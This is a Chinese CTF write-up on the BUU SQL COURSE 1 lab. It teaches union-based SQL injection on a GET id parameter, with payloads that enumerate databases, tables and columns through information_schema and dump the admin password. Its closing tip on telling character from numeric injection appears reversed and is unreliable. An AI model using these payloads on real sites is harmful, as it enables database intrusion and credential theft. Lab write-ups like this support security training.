一、SQL语句基础知识

创建数据库：

create database test1;

查看数据库：

show databases;

使用数据库：

use test1;

二、SQL注入实战

CTF题目：BUU SQL COURSE 1
打开靶机，通过按下F12，点击测试新闻1，找到了隐藏url，存在get请求传参。

于是，我们就可以在id=1后面进行注入。

1.利用联合查询 union select 探测注入点

（1）方法1
通过输入：

-1 union select 1; #

回显如下：

无回显，那就尝试注入不同的列数，看网页是否有不同的回显。
因为union select要求联合的前后请求列数必须相等，才会出结果。

id=-1 union select 1,2; #

有回显，说明列数为2。
（2）方法2

id=1 order by 2#

2.探测目标数据库名、表名、字段名、内容

由于information_schema这个库是mysql的四个基本系统库之一，它存储了mysql的库名、表名、字段名等信息。
table_schema：数据库_表名
tables：表名
schema_name ：查询这个字段，回显某个数据库的库名
table_name：查询这个字段，回显某个表的表名
通过前面的联合查询语句id=-1 union select 1,2; #可知，控制联合查询1,2任意一个位置为回显位，即可带回数据。
（1）获取当前数据库的版本：

id=-1 union select 1,version();#

得到回显：

（2）获取当前连接数据库名称：

id=-1 union select 1,database();#

得到回显：

（3）获取当前连接用户：

id=-1 union select 1,user();#

得到回显：

（4）获取所有数据库列表：

id=-1 union select 1,group_concat(schema_name) from information_schema.schemata;#

得到回显：

（5）
方法一：
获取news数据库所有表名 (其他库我都试了，没flag，读者从这一步骤往后，可以每个库试一下)

如果，我们想看news库里有什么表，输入：

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='news';#

得到回显：

（6）查询news数据库中 admin 表的字段名：

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema ='news' and table_name ='admin';#

得到字段password （id和username字段在这道题中，我不需要）：

（7）查询new库中admin表中的passsword字段值，拿到了登录密码：

id=-1 union select 1,password from news.admin;#

方法二：

从建立连接的数据库中，查询数据库名、表名：

id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

得到回显：

从建立连接的news数据库中，查询admin表的列名：

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#

得到回显：

从建立连接的admin表查询password的值：

id=-1 union select group_concat(username),group_concat(password) from admin

得到回显：

最后一步就不演示了。

三、补充知识

如何判断目标靶机是字符注入、还是数字注入？¹

（1）拿到一个网页，先进行字符注入

id=1 order by 1#

得到回显，说明是字符注入：

（2） 后进行数字注入

 id=1' order by 1#

得到回显为空，不是数字注入：

四、参考文献